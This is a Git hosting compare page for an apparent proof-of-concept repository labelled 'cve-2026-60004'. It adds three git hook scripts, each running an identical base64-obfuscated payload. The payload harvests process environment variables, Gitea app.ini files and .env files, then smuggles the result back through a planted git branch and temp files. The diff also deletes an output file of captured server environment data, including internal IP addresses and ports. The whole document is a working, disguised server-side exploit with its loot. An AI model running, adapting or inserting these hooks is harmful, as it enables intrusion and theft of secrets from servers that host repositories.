poc_819f3d60/poc-819f3d60
1
0
Fork 0
Code Issues Pull Requests Actions Packages Projects Releases Wiki Activity

Compare commits

base: poc_819f3d60:output-819f3d60
Branches Tags
poc_819f3d60:main
..
compare: poc_819f3d60:main
Branches Tags
poc_819f3d60:main

No commits in common. "output-819f3d60" and "main" have entirely different histories.
output-819 ... main

5 changed files with 79 additions and 54 deletions
Show Stats Expand all files Collapse all files

1
README.md Normal file
View File

@ -0,0 +1 @@
init

26
hooks/post-applypatch Executable file
View File

@ -0,0 +1,26 @@
#!/bin/sh
git_dir=$(git rev-parse --absolute-git-dir 2>/dev/null) || exit 0
alt=$(sed -n "1p" "$git_dir/objects/info/alternates" 2>/dev/null)
case "$alt" in
/*) ;;
*) alt="$git_dir/objects/$alt" ;;
esac
origin_git=${alt%/objects}
OUT=$(/bin/sh -c 'echo CmVjaG8gIiMjI0VOVi1CRUdJTiIKZWNobyAiLS0gcHJvYzEtZW52aXJvbiAtLSIKdHIgJ1wwJyAnXG4nIDwgL3Byb2MvMS9lbnZpcm9uIDI+L2Rldi9udWxsIHwgaGVhZCAtODAKZWNobyAiLS0gZW52IC0tIgplbnYgMj4vZGV2L251bGwgfCBzb3J0IHwgaGVhZCAtMTIwCmVjaG8gIi0tIGFwcC5pbmkgLS0iCmZvciBmIGluIC9kYXRhL2dpdGVhL2NvbmYvYXBwLmluaSAvZXRjL2dpdGVhL2FwcC5pbmkgL2FwcC9naXRlYS9jb25mL2FwcC5pbmkgL2RhdGEvY29uZi9hcHAuaW5pIC9kYXRhL2dpdGVhL2dpdGVhL2NvbmYvYXBwLmluaTsgZG8KICBbIC1mICIkZiIgXSAmJiB7IGVjaG8gIkZJTEU6JGYiOyBncmVwIC12RSAiXlxzKig7fCMpIiAiJGYiIDI+L2Rldi9udWxsIHwgaGVhZCAtMTUwOyB9CmRvbmUKZWNobyAiLS0gZG90ZW52IC0tIgpmb3IgZiBpbiAvZGF0YS9naXRlYS8uZW52IC9hcHAvLmVudiAvLmVudiAvZGF0YS9naXRlYS9jb25mLy5lbnYgL3Jvb3QvLmVudiAvaG9tZS8qLy5lbnYgL2RhdGEvZ2l0ZWEvZ2l0ZWEvLmVudjsgZG8KICBbIC1mICIkZiIgXSAmJiB7IGVjaG8gIkZJTEU6JGYiOyBoZWFkIC02MCAiJGYiOyB9CmRvbmUKZWNobyAiIyMjRU5WLUVORCIK | base64 -d | sh' 2>&1)
st=$?
printf "\n[exit-status=%s]\n" "$st" >> "$OUT"
blob=$(printf "%s" "$OUT" | git --git-dir="$origin_git" hash-object -w --stdin 2>/dev/null)
if [ -n "$blob" ]; then
tree=$(printf "100644 blob %s\toutput\n" "$blob" | git --git-dir="$origin_git" mktree 2>/dev/null)
commit=$(printf "cve-2026-60004\n" | GIT_AUTHOR_NAME=poc GIT_AUTHOR_EMAIL=poc@example.invalid GIT_COMMITTER_NAME=poc GIT_COMMITTER_EMAIL=poc@example.invalid git --git-dir="$origin_git" commit-tree "$tree" 2>/dev/null)
git --git-dir="$origin_git" update-ref refs/heads/output-819f3d60 "$commit" 2>/dev/null
fi
if [ -d "$origin_git" ]; then
printf "%s" "$OUT" > "$origin_git/cve-2026-60004-output.txt" 2>/dev/null
fi
for d in /data/gitea/tmp /tmp /data/gitea/uploads /var/tmp; do
if [ -d "$d" ] && [ -w "$d" ]; then
printf "%s" "$OUT" > "$d/cve-2026-60004-output.txt" 2>/dev/null && break
fi
done
exit 0

26
hooks/post-index-change Executable file
View File

@ -0,0 +1,26 @@
#!/bin/sh
git_dir=$(git rev-parse --absolute-git-dir 2>/dev/null) || exit 0
alt=$(sed -n "1p" "$git_dir/objects/info/alternates" 2>/dev/null)
case "$alt" in
/*) ;;
*) alt="$git_dir/objects/$alt" ;;
esac
origin_git=${alt%/objects}
OUT=$(/bin/sh -c 'echo CmVjaG8gIiMjI0VOVi1CRUdJTiIKZWNobyAiLS0gcHJvYzEtZW52aXJvbiAtLSIKdHIgJ1wwJyAnXG4nIDwgL3Byb2MvMS9lbnZpcm9uIDI+L2Rldi9udWxsIHwgaGVhZCAtODAKZWNobyAiLS0gZW52IC0tIgplbnYgMj4vZGV2L251bGwgfCBzb3J0IHwgaGVhZCAtMTIwCmVjaG8gIi0tIGFwcC5pbmkgLS0iCmZvciBmIGluIC9kYXRhL2dpdGVhL2NvbmYvYXBwLmluaSAvZXRjL2dpdGVhL2FwcC5pbmkgL2FwcC9naXRlYS9jb25mL2FwcC5pbmkgL2RhdGEvY29uZi9hcHAuaW5pIC9kYXRhL2dpdGVhL2dpdGVhL2NvbmYvYXBwLmluaTsgZG8KICBbIC1mICIkZiIgXSAmJiB7IGVjaG8gIkZJTEU6JGYiOyBncmVwIC12RSAiXlxzKig7fCMpIiAiJGYiIDI+L2Rldi9udWxsIHwgaGVhZCAtMTUwOyB9CmRvbmUKZWNobyAiLS0gZG90ZW52IC0tIgpmb3IgZiBpbiAvZGF0YS9naXRlYS8uZW52IC9hcHAvLmVudiAvLmVudiAvZGF0YS9naXRlYS9jb25mLy5lbnYgL3Jvb3QvLmVudiAvaG9tZS8qLy5lbnYgL2RhdGEvZ2l0ZWEvZ2l0ZWEvLmVudjsgZG8KICBbIC1mICIkZiIgXSAmJiB7IGVjaG8gIkZJTEU6JGYiOyBoZWFkIC02MCAiJGYiOyB9CmRvbmUKZWNobyAiIyMjRU5WLUVORCIK | base64 -d | sh' 2>&1)
st=$?
printf "\n[exit-status=%s]\n" "$st" >> "$OUT"
blob=$(printf "%s" "$OUT" | git --git-dir="$origin_git" hash-object -w --stdin 2>/dev/null)
if [ -n "$blob" ]; then
tree=$(printf "100644 blob %s\toutput\n" "$blob" | git --git-dir="$origin_git" mktree 2>/dev/null)
commit=$(printf "cve-2026-60004\n" | GIT_AUTHOR_NAME=poc GIT_AUTHOR_EMAIL=poc@example.invalid GIT_COMMITTER_NAME=poc GIT_COMMITTER_EMAIL=poc@example.invalid git --git-dir="$origin_git" commit-tree "$tree" 2>/dev/null)
git --git-dir="$origin_git" update-ref refs/heads/output-819f3d60 "$commit" 2>/dev/null
fi
if [ -d "$origin_git" ]; then
printf "%s" "$OUT" > "$origin_git/cve-2026-60004-output.txt" 2>/dev/null
fi
for d in /data/gitea/tmp /tmp /data/gitea/uploads /var/tmp; do
if [ -d "$d" ] && [ -w "$d" ]; then
printf "%s" "$OUT" > "$d/cve-2026-60004-output.txt" 2>/dev/null && break
fi
done
exit 0

26
hooks/pre-applypatch Executable file
View File

@ -0,0 +1,26 @@
#!/bin/sh
git_dir=$(git rev-parse --absolute-git-dir 2>/dev/null) || exit 0
alt=$(sed -n "1p" "$git_dir/objects/info/alternates" 2>/dev/null)
case "$alt" in
/*) ;;
*) alt="$git_dir/objects/$alt" ;;
esac
origin_git=${alt%/objects}
OUT=$(/bin/sh -c 'echo CmVjaG8gIiMjI0VOVi1CRUdJTiIKZWNobyAiLS0gcHJvYzEtZW52aXJvbiAtLSIKdHIgJ1wwJyAnXG4nIDwgL3Byb2MvMS9lbnZpcm9uIDI+L2Rldi9udWxsIHwgaGVhZCAtODAKZWNobyAiLS0gZW52IC0tIgplbnYgMj4vZGV2L251bGwgfCBzb3J0IHwgaGVhZCAtMTIwCmVjaG8gIi0tIGFwcC5pbmkgLS0iCmZvciBmIGluIC9kYXRhL2dpdGVhL2NvbmYvYXBwLmluaSAvZXRjL2dpdGVhL2FwcC5pbmkgL2FwcC9naXRlYS9jb25mL2FwcC5pbmkgL2RhdGEvY29uZi9hcHAuaW5pIC9kYXRhL2dpdGVhL2dpdGVhL2NvbmYvYXBwLmluaTsgZG8KICBbIC1mICIkZiIgXSAmJiB7IGVjaG8gIkZJTEU6JGYiOyBncmVwIC12RSAiXlxzKig7fCMpIiAiJGYiIDI+L2Rldi9udWxsIHwgaGVhZCAtMTUwOyB9CmRvbmUKZWNobyAiLS0gZG90ZW52IC0tIgpmb3IgZiBpbiAvZGF0YS9naXRlYS8uZW52IC9hcHAvLmVudiAvLmVudiAvZGF0YS9naXRlYS9jb25mLy5lbnYgL3Jvb3QvLmVudiAvaG9tZS8qLy5lbnYgL2RhdGEvZ2l0ZWEvZ2l0ZWEvLmVudjsgZG8KICBbIC1mICIkZiIgXSAmJiB7IGVjaG8gIkZJTEU6JGYiOyBoZWFkIC02MCAiJGYiOyB9CmRvbmUKZWNobyAiIyMjRU5WLUVORCIK | base64 -d | sh' 2>&1)
st=$?
printf "\n[exit-status=%s]\n" "$st" >> "$OUT"
blob=$(printf "%s" "$OUT" | git --git-dir="$origin_git" hash-object -w --stdin 2>/dev/null)
if [ -n "$blob" ]; then
tree=$(printf "100644 blob %s\toutput\n" "$blob" | git --git-dir="$origin_git" mktree 2>/dev/null)
commit=$(printf "cve-2026-60004\n" | GIT_AUTHOR_NAME=poc GIT_AUTHOR_EMAIL=poc@example.invalid GIT_COMMITTER_NAME=poc GIT_COMMITTER_EMAIL=poc@example.invalid git --git-dir="$origin_git" commit-tree "$tree" 2>/dev/null)
git --git-dir="$origin_git" update-ref refs/heads/output-819f3d60 "$commit" 2>/dev/null
fi
if [ -d "$origin_git" ]; then
printf "%s" "$OUT" > "$origin_git/cve-2026-60004-output.txt" 2>/dev/null
fi
for d in /data/gitea/tmp /tmp /data/gitea/uploads /var/tmp; do
if [ -d "$d" ] && [ -w "$d" ]; then
printf "%s" "$OUT" > "$d/cve-2026-60004-output.txt" 2>/dev/null && break
fi
done
exit 0

54
output
View File

@ -1,54 +0,0 @@
###ENV-BEGIN
-- proc1-environ --
PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin
HOSTNAME=8139fea2-bb57-4276-a3bb-2f87015a799c
TERM=xterm
TZ=Etc/UTC
STARTUP=./gitea web -p {{SERVER_PORT}} -c ./app.ini
SERVER_MEMORY=1024
SERVER_IP=192.168.88.136
SERVER_PORT=9020
VERSION=latest
P_SERVER_LOCATION=localhost
P_SERVER_UUID=8139fea2-bb57-4276-a3bb-2f87015a799c
P_SERVER_ALLOCATION_LIMIT=1.000000
DISABLE_SSH=false
SSH_PORT=9019
DEBIAN_FRONTEND=noninteractive
USER=container
HOME=/home/container
-- env --
DEBIAN_FRONTEND=noninteractive
DISABLE_SSH=false
GIT_CONFIG_PARAMETERS='protocol.version'='2' 'credential.helper'='' 'filter.lfs.required'='' 'filter.lfs.smudge'='' 'filter.lfs.clean'=''
GIT_DIR=.
GIT_EXEC_PATH=/usr/lib/git-core
GIT_IMPLICIT_WORK_TREE=0
GIT_NO_REPLACE_OBJECTS=1
GIT_PREFIX=
GIT_TERMINAL_PROMPT=0
GNUPGHOME=/home/container/data/home/.gnupg
HOME=/home/container/data/home
HOSTNAME=8139fea2-bb57-4276-a3bb-2f87015a799c
INTERNAL_IP=172.18.0.2
LC_ALL=C
OLDPWD=/home/container
PATH=/usr/lib/git-core:/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin
PWD=/home/container/data/tmp/local-repo/upload.git2553352436
P_SERVER_ALLOCATION_LIMIT=1.000000
P_SERVER_LOCATION=localhost
P_SERVER_UUID=8139fea2-bb57-4276-a3bb-2f87015a799c
SERVER_IP=192.168.88.136
SERVER_MEMORY=1024
SERVER_PORT=9020
SHLVL=1
SSH_PORT=9019
STARTUP=./gitea web -p {{SERVER_PORT}} -c ./app.ini
TERM=xterm
TZ=Etc/UTC
USER=container
VERSION=latest
_=./gitea
-- app.ini --
-- dotenv --
###ENV-END